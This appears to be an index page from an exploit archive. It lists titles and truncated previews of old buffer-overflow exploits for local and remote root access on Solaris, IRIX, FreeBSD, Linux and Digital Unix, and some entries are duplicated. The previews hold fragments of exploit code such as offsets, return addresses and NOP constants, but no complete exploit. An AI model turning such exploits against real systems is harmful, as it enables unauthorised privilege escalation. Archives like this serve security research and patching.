XFree86 server overflow - exploit issues

While trying to exploit this overflow, I noticed that the problem lies in lovely strcpy call, which overwrites stack. Unfortunately, any 'offending' non-alphanumeric characters are replaced with '' somewhere before. Uh, most of people will say "it's impossible to write alphanumeric shellcode, so ...

FreeBSD 3.3 - 'angband' Local Buffer Overflow

// source: https://www.securityfocus.com/bid/840/info The version angband shipped with FreeBSD 3.3-RELEASE is vulnerable to a local buffer overflow attack. Since it is setgid games, a compromise of files and directories owned by group games is possible. / FreeBSD 3.3 angband exploit yields egid o...

Qualcomm qpopper 3.03.0 b20 - Remote Buffer Overflow (1)

Qualcomm qpopper 3.03.0 b20 - Remote Buffer Overflow 1 // source: https://www.securityfocus.com/bid/830/info There is a buffer overflow vulnerability present in current 3.x versions of Qualcomm popper daemon. These vulnerabilities are remotely exploitable and since the daemon runs as root, the ho...

realown.asm

; The binary is available at http://www.beavuh.org. ; ; This exploits a buffer overflow in RealServers web authentication on ; the administrator port - hence the reason the shellcode is base64 encoded. ; This has been tested on the NT version with a default installation. ; If RealServer is...

libtermcap_xterm_exploit.txt

Subject: libtermcap xterm exploit To: [email protected] / libtermcap xterm exploit by m0f0 1999 it works for xterm/nxterm Tested Slackware 3.5, 3.6 / include define BUFSIZE 5000 define POSRET 2000 define POSSEP 3000 define RETADDR 0xbfffefef define EGG "/tmp/eggtermcap" // shellcode char...

crond_exploit.txt

Subject: Crond Scooby Snacks for Everyone. To: [email protected] Paul Vixie loves us all so much it's overflowing. For your own private use, standard disclaimer and transfer of responsibility to that of the end user applies. Oh yeah, and I made it semi-self cleaning just because I love yo...

Solaris 7.0 usrbinmail - -m Local Buffer Overflow

Solaris 7.0 usrbinmail - -m Local Buffer Overflow // source: https://www.securityfocus.com/bid/672/info A buffer overflow vulnerability in the '/usr/bin/mail' program's handling of the '-m' command line argument allows local users to obtain access to the 'mail' group. / Generic Solaris x86 exploi...

digital-unix4.0-asm-shell.txt

Date: Tue, 26 Jan 1999 15:18:08 -0500 From: Seth Michael McGann To: [email protected] Subject: Re: Digital Unix 4.0 exploitable buffer overflows On Mon, 25 Jan 1999, Lamont Granquist wrote: Previously Digital Unix has been relatively immune to buffer overflow attacks due to the lack of an...

Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow (1)

Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow 1 // source: https://www.securityfocus.com/bid/86/info A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf' in line 192 in 'main.c':...

Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow (2)

// source: https://www.securityfocus.com/bid/86/info A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf' in line 192 in 'main.c': sprintfbuf, "%s/LCK..%s", PATHLOCKD, nam; / Linux x86...

Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits

Exploit for solaris platform in category local exploits ============================================================= Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits ============================================================= ---------------------------- file newpass.c...

Solaris 5.5.1 X11R6.3 - xterm -xrm Local Privilege Escalation

Solaris 5.5.1 X11R6.3 - xterm -xrm Local Privilege Escalation / X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include include include include define EXTRA2 1300 define BUFLENGTH 400 define EXTRA 500 / Need an addr such that contents of addr+0xe98 = 0 / define SAFEADDR unsigned0xefff20...

Solaris 5.5.1 X11R6.3 xterm (-xrm) Local Root Exploit

Exploit for solaris platform in category local exploits ===================================================== Solaris 5.5.1 X11R6.3 xterm -xrm Local Root Exploit ===================================================== / X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include include inclu...

Solaris 5.5.1 X11R6.3 - xterm '-xrm' Local Privilege Escalation

/ X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97 / include include include include define EXTRA2 1300 define BUFLENGTH 400 define EXTRA 500 / Need an addr such that contents of addr+0xe98 = 0 / define SAFEADDR unsigned0xefff2008 define STACKOFFSET 0x4800 define SPARCNOP 0xa61cc013 ulong...

IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow

Exploit for irix platform in category local exploits ================================================== IRIX 5.3 /usr/sbin/iwsh Local Root Buffer Overflow ================================================== / /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix...

IRIX 5.3 - usrsbiniwsh Local Buffer Overflow Local Privilege Escalation

IRIX 5.3 - usrsbiniwsh Local Buffer Overflow Local Privilege Escalation / /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 Irix 5.x only compile as: cc iwsh.c / include include include include include define NUMADDRESSES 500 define BUFLENGTH 500 define...

IRIX 5.3 - '/usr/sbin/iwsh' Local Buffer Overflow / Local Privilege Escalation

/ /usr/sbin/iwsh.c exploit by DCRH 27/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 Irix 5.x only compile as: cc iwsh.c / include include include include include define NUMADDRESSES 500 define BUFLENGTH 500 define EXTRA 9000 define OFFSET 0x180 define GPOFFSET -0x80 define IRIXNOP...

SGI IRIX - binlogin Local Buffer Overflow

SGI IRIX - binlogin Local Buffer Overflow / /bin/login exploit by DCRH 24/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 R5000 O2 Irix 6.3 R8000 Power Challenge Irix 6.2 Compile as: cc -n32 login.c for Irix 6.x cc login.c for Irix 5.x Press enter when prompted for a password / include...

SGI IRIX - '/bin/login' Local Buffer Overflow

/ /bin/login exploit by DCRH 24/5/97 Tested on: R3000 Indigo Irix 5.3 R4400 Indy Irix 5.3 R5000 O2 Irix 6.3 R8000 Power Challenge Irix 6.2 Compile as: cc -n32 login.c for Irix 6.x cc login.c for Irix 5.x Press enter when prompted for a password / include include include include include define...

SGI IRIX - 'LsD' Multiple Local Buffer Overflows

/ copyright by / / Last Stage of Delirium, Dec 1996, Poland/ include include include define BUFSIZE 2068 define OFFS 800 define ADDRS 3 define ALIGN 0 define ALIGN2 4 char...